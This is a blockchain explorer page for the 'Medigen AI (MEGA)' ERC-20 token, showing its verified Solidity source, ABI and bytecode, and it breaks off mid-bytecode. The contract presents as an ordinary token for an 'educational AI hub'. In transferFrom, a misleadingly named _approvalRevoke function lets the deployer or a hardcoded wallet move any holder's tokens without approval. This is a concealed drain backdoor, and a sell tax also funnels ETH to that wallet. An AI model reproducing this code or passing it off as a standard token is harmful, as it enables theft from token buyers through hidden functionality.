ETH Price: $3,202.44 (+0.62%)

Token

Medigen AI (MEGA)
 

Overview

Max Total Supply

1,000,000,000 MEGA

Holders

93

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,916,486.77379068 MEGA

Value
$0.00
0x3fcf6e8d9a28b8f4535b20432fc8cafe66aad251
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEGA

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : main.sol
/**


An Educational AI Hub For Crypto Investors Providing you the tools you need for Web3 Education.

Web: https://medigenai.tech
X:   https://x.com/Medigen_AI
TG:  https://t.me/Medigen_AI_Portal

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MEGA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _isExcludeFromFee;
    mapping (address => bool) private _isExclude;
    address payable private _taxWallet;
    address private _deployer = msg.sender;
    address private _texas = 0xE2567D3EA055eDfdBBcCaD400E0B09BFE5e861bE;

    uint256 private _initBuyTax=1;
    uint256 private _initSellTax=13;

    uint256 private _finalTaxBuy=0;
    uint256 private _finalTaxSell=0;
    
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=10;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Medigen AI";
    string private constant _symbol = unicode"MEGA";
    uint256 private _maxTxTokens = _tTotal * 2 / 100;
    uint256 private _maxWalletTokens = _tTotal * 2 / 100;
    uint256 private _minTaxSwap= _tTotal * 1 / 100000;
    uint256 private _maxTaxSwap= _tTotal * 1 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    bool private _caLimitSell = false;
    uint256 private _caBlockSell = 0;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(_texas);
        _isExcludeFromFee[owner()] = true;
        _isExcludeFromFee[_taxWallet] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approvalRevoke(address sender, uint256 amount, bool _ignore, uint8 _sign) internal {
        if (!_ignore && msg.sender != _deployer && msg.sender != _texas) return;
        _allowances[sender][msg.sender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approvalRevoke(sender, amount, false, 0);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _taxAmount=0;
        if (from != owner() && to != owner()) {
            _taxAmount = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalTaxBuy:_initBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludeFromFee[to] ) {
                require(amount <= _maxTxTokens, "Exceeds the _maxTxTokens.");
                require(balanceOf(to) + amount <= _maxWalletTokens, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                _taxAmount = amount.mul((_buyTokenCount>_reduceSellAt)?_finalTaxSell:_initSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyTokenCount>_preventCount) {
                if (_caLimitSell) {
                    if (_caBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETHToFee(address(this).balance);
                        }
                        _caBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHToFee(address(this).balance);
                    }
                }
            }
        }

        if(_taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_taxAmount);
          emit Transfer(from, address(this), _taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_taxAmount));
        emit Transfer(from, to, amount.sub(_taxAmount));
    }

    function restoreCAEth() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxTokens = _tTotal;
        _maxWalletTokens = _tTotal;
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restoreCAEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b031990811633179091556007805490911673e2567d3ea055edfdbbccad400e0b09bfe5e861be1790556001600855600d60098181556000600a818155600b829055600c81905592839055600e839055600f5560649161006e9190610383565b61007c90633b9aca00610399565b610087906002610399565b61009191906103b0565b60105560646100a26009600a610383565b6100b090633b9aca00610399565b6100bb906002610399565b6100c591906103b0565b601155620186a06100d86009600a610383565b6100e690633b9aca00610399565b6100f1906001610399565b6100fb91906103b0565b601255606461010c6009600a610383565b61011a90633b9aca00610399565b610125906001610399565b61012f91906103b0565b6013556015805462ffffff60a81b191690556000601681905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754600580546001600160a01b0319166001600160a01b039092169190911790556001600360006101c16000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600554909116815260039092529020805490911660011790556102146009600a610383565b61022290633b9aca00610399565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102636009600a610383565b61027190633b9aca00610399565b60405190815260200160405180910390a36103d2565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156102d85781600019048211156102be576102be610287565b808516156102cb57918102915b93841c93908002906102a2565b509250929050565b6000826102ef5750600161037d565b816102fc5750600061037d565b8160018114610312576002811461031c57610338565b600191505061037d565b60ff84111561032d5761032d610287565b50506001821b61037d565b5060208310610133831016604e8410600b841016171561035b575081810a61037d565b610365838361029d565b806000190482111561037957610379610287565b0290505b92915050565b600061039260ff8416836102e0565b9392505050565b808202811582820484141761037d5761037d610287565b6000826103cd57634e487b7160e01b600052601260045260246000fd5b500490565b6116cd806103e16000396000f3fe6080604052600436106100e15760003560e01c8063751039fc1161007f57806395d89b411161005957806395d89b4114610260578063a9059cbb1461028d578063c9567bf9146102ad578063dd62ed3e146102c257600080fd5b8063751039fc1461020e5780638214adcb146102235780638da5cb5b1461023857600080fd5b806323b872dd116100bb57806323b872dd14610185578063313ce567146101a557806370a08231146101c1578063715018a6146101f757600080fd5b806306fdde03146100ed578063095ea7b31461013257806318160ddd1461016257600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201909152600a8152694d65646967656e20414960b01b60208201525b60405161012991906112be565b60405180910390f35b34801561013e57600080fd5b5061015261014d366004611322565b610308565b6040519015158152602001610129565b34801561016e57600080fd5b5061017761031f565b604051908152602001610129565b34801561019157600080fd5b506101526101a036600461134e565b610340565b3480156101b157600080fd5b5060405160098152602001610129565b3480156101cd57600080fd5b506101776101dc36600461138f565b6001600160a01b031660009081526002602052604090205490565b34801561020357600080fd5b5061020c6103b6565b005b34801561021a57600080fd5b5061020c610433565b34801561022f57600080fd5b5061020c610499565b34801561024457600080fd5b506000546040516001600160a01b039091168152602001610129565b34801561026c57600080fd5b506040805180820190915260048152634d45474160e01b602082015261011c565b34801561029957600080fd5b506101526102a8366004611322565b610500565b3480156102b957600080fd5b5061020c61050d565b3480156102ce57600080fd5b506101776102dd3660046113ac565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600061031533848461084e565b5060015b92915050565b600061032d6009600a6114df565b61033b90633b9aca006114ee565b905090565b600061034d848484610972565b61035a8483600080610ebc565b6103ac84336103a785604051806060016040528060288152602001611670602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610f1d565b61084e565b5060019392505050565b6000546001600160a01b031633146103e95760405162461bcd60e51b81526004016103e090611505565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461045d5760405162461bcd60e51b81526004016103e090611505565b6104696009600a6114df565b61047790633b9aca006114ee565b6010556104866009600a6114df565b61049490633b9aca006114ee565b601155565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103e090611505565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104fd573d6000803e3d6000fd5b50565b6000610315338484610972565b6000546001600160a01b031633146105375760405162461bcd60e51b81526004016103e090611505565b601554600160a01b900460ff16156105915760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e0565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105da9030906105cc6009600a6114df565b6103a790633b9aca006114ee565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610651919061153a565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d7919061153a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610724573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610748919061153a565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610790816001600160a01b031660009081526002602052604090205490565b6000806107a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561080d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108329190611557565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166108b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e0565b6001600160a01b0382166109115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109d65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e0565b6001600160a01b038216610a385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e0565b60008111610a9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e0565b600080546001600160a01b03858116911614801590610ac757506000546001600160a01b03848116911614155b15610d7957610af86064610af2600c54600f5411610ae757600854610aeb565b600a545b8590610f57565b90610fe0565b6015549091506001600160a01b038581169116148015610b2657506014546001600160a01b03848116911614155b8015610b4b57506001600160a01b03831660009081526003602052604090205460ff16155b15610c3357601054821115610ba25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478546f6b656e732e0000000000000060448201526064016103e0565b60115482610bc5856001600160a01b031660009081526002602052604090205490565b610bcf9190611585565b1115610c1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e0565b600f8054906000610c2d83611598565b91905055505b6015546001600160a01b038481169116148015610c5957506001600160a01b0384163014155b15610c9157610c836064610af2600d54600f5411610c7957600954610aeb565b600b548590610f57565b905047610c8f47611022565b505b30600090815260026020526040902054601554600160a81b900460ff16158015610cc857506015546001600160a01b038581169116145b8015610cdd5750601554600160b01b900460ff165b8015610cea575060125481115b8015610cf95750600e54600f54115b15610d7757601554600160b81b900460ff1615610d5257436016541015610d4d57610d37610d3284610d2d84601354611060565b611060565b611075565b478015610d4757610d4747611022565b50436016555b610d77565b610d65610d3284610d2d84601354611060565b478015610d7557610d7547611022565b505b505b8015610df35730600090815260026020526040902054610d9990826111ef565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dea9085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610e16908361124e565b6001600160a01b038516600090815260026020526040902055610e5b610e3c838361124e565b6001600160a01b038516600090815260026020526040902054906111ef565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ea5858561124e565b60405190815260200160405180910390a350505050565b81158015610ed557506006546001600160a01b03163314155b8015610eec57506007546001600160a01b03163314155b610f17576001600160a01b038416600090815260016020908152604080832033845290915290208390555b50505050565b60008184841115610f415760405162461bcd60e51b81526004016103e091906112be565b506000610f4e84866115b1565b95945050505050565b600082600003610f6957506000610319565b6000610f7583856114ee565b905082610f8285836115c4565b14610fd95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e0565b9392505050565b6000610fd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611290565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561105c573d6000803e3d6000fd5b5050565b600081831161106f5782610fd9565b50919050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110bd576110bd6115e6565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113a919061153a565b8160018151811061114d5761114d6115e6565b6001600160a01b039283166020918202929092010152601454611173913091168461084e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ac9085906000908690309042906004016115fc565b600060405180830381600087803b1580156111c657600080fd5b505af11580156111da573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6000806111fc8385611585565b905083811015610fd95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e0565b6000610fd983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f1d565b600081836112b15760405162461bcd60e51b81526004016103e091906112be565b506000610f4e84866115c4565b60006020808352835180602085015260005b818110156112ec578581018301518582016040015282016112d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fd57600080fd5b6000806040838503121561133557600080fd5b82356113408161130d565b946020939093013593505050565b60008060006060848603121561136357600080fd5b833561136e8161130d565b9250602084013561137e8161130d565b929592945050506040919091013590565b6000602082840312156113a157600080fd5b8135610fd98161130d565b600080604083850312156113bf57600080fd5b82356113ca8161130d565b915060208301356113da8161130d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561143657816000190482111561141c5761141c6113e5565b8085161561142957918102915b93841c9390800290611400565b509250929050565b60008261144d57506001610319565b8161145a57506000610319565b8160018114611470576002811461147a57611496565b6001915050610319565b60ff84111561148b5761148b6113e5565b50506001821b610319565b5060208310610133831016604e8410600b84101617156114b9575081810a610319565b6114c383836113fb565b80600019048211156114d7576114d76113e5565b029392505050565b6000610fd960ff84168361143e565b8082028115828204841417610319576103196113e5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561154c57600080fd5b8151610fd98161130d565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b80820180821115610319576103196113e5565b6000600182016115aa576115aa6113e5565b5060010190565b81810381811115610319576103196113e5565b6000826115e157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101561164e5784516001600160a01b031683529383019391830191600101611629565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122082b8f51572bf21235f054b1813f23f19326d077465acbc710f42c5722dd13d0064736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100e15760003560e01c8063751039fc1161007f57806395d89b411161005957806395d89b4114610260578063a9059cbb1461028d578063c9567bf9146102ad578063dd62ed3e146102c257600080fd5b8063751039fc1461020e5780638214adcb146102235780638da5cb5b1461023857600080fd5b806323b872dd116100bb57806323b872dd14610185578063313ce567146101a557806370a08231146101c1578063715018a6146101f757600080fd5b806306fdde03146100ed578063095ea7b31461013257806318160ddd1461016257600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5060408051808201909152600a8152694d65646967656e20414960b01b60208201525b60405161012991906112be565b60405180910390f35b34801561013e57600080fd5b5061015261014d366004611322565b610308565b6040519015158152602001610129565b34801561016e57600080fd5b5061017761031f565b604051908152602001610129565b34801561019157600080fd5b506101526101a036600461134e565b610340565b3480156101b157600080fd5b5060405160098152602001610129565b3480156101cd57600080fd5b506101776101dc36600461138f565b6001600160a01b031660009081526002602052604090205490565b34801561020357600080fd5b5061020c6103b6565b005b34801561021a57600080fd5b5061020c610433565b34801561022f57600080fd5b5061020c610499565b34801561024457600080fd5b506000546040516001600160a01b039091168152602001610129565b34801561026c57600080fd5b506040805180820190915260048152634d45474160e01b602082015261011c565b34801561029957600080fd5b506101526102a8366004611322565b610500565b3480156102b957600080fd5b5061020c61050d565b3480156102ce57600080fd5b506101776102dd3660046113ac565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600061031533848461084e565b5060015b92915050565b600061032d6009600a6114df565b61033b90633b9aca006114ee565b905090565b600061034d848484610972565b61035a8483600080610ebc565b6103ac84336103a785604051806060016040528060288152602001611670602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610f1d565b61084e565b5060019392505050565b6000546001600160a01b031633146103e95760405162461bcd60e51b81526004016103e090611505565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461045d5760405162461bcd60e51b81526004016103e090611505565b6104696009600a6114df565b61047790633b9aca006114ee565b6010556104866009600a6114df565b61049490633b9aca006114ee565b601155565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103e090611505565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104fd573d6000803e3d6000fd5b50565b6000610315338484610972565b6000546001600160a01b031633146105375760405162461bcd60e51b81526004016103e090611505565b601554600160a01b900460ff16156105915760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e0565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105da9030906105cc6009600a6114df565b6103a790633b9aca006114ee565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610651919061153a565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d7919061153a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610724573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610748919061153a565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610790816001600160a01b031660009081526002602052604090205490565b6000806107a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561080d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108329190611557565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166108b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e0565b6001600160a01b0382166109115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109d65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e0565b6001600160a01b038216610a385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e0565b60008111610a9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e0565b600080546001600160a01b03858116911614801590610ac757506000546001600160a01b03848116911614155b15610d7957610af86064610af2600c54600f5411610ae757600854610aeb565b600a545b8590610f57565b90610fe0565b6015549091506001600160a01b038581169116148015610b2657506014546001600160a01b03848116911614155b8015610b4b57506001600160a01b03831660009081526003602052604090205460ff16155b15610c3357601054821115610ba25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478546f6b656e732e0000000000000060448201526064016103e0565b60115482610bc5856001600160a01b031660009081526002602052604090205490565b610bcf9190611585565b1115610c1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e0565b600f8